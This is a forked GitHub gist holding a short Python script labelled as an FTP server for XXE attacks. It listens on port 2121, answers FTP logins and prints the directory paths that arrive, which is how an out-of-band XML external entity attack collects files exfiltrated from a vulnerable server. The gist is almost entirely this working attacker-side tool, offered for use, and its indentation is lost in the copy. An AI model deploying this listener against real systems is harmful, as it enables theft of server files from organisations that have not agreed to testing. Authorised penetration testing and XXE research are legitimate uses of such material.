Skip to content

Instantly share code, notes, and snippets.

@jpukg
Forked from ruevaughn/xxeftp.py
Created December 27, 2021 21:50
Show Gist options
  • Save jpukg/1feec03e8cbe8c48188ae9a327069675 to your computer and use it in GitHub Desktop.
Save jpukg/1feec03e8cbe8c48188ae9a327069675 to your computer and use it in GitHub Desktop.
Python FTP server for XXE
#!/usr/env/python
from __future__ import print_function
import socket
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.bind(('0.0.0.0',2121))
s.listen(1)
print('XXE-FTP listening ')
conn,addr = s.accept()
print('Connected by %s',addr)
conn.sendall('220 Staal XXE-FTP\r\n')
stop = False
while not stop:
dp = str(conn.recv(1024))
if dp.find("USER") > -1:
conn.sendall("331 password please - version check\r\n")
else:
conn.sendall("230 more data please!\r\n")
if dp.find("RETR")==0 or dp.find("QUIT")==0:
stop = True
if dp.find("CWD") > -1:
print(dp.replace('CWD ','/',1).replace('\r\n',''),end='')
else:
print(dp)
conn.close()
s.close()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment